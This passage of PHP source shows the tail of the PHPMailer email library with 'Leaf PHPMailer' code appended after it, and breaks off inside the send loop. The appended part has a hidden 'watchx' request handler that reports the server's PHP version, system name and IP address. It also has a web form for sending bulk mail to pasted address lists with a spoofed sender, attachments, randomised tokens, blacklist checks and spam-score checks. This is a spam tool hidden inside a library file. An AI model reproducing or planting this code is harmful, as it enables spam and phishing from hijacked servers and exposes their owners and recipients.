                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
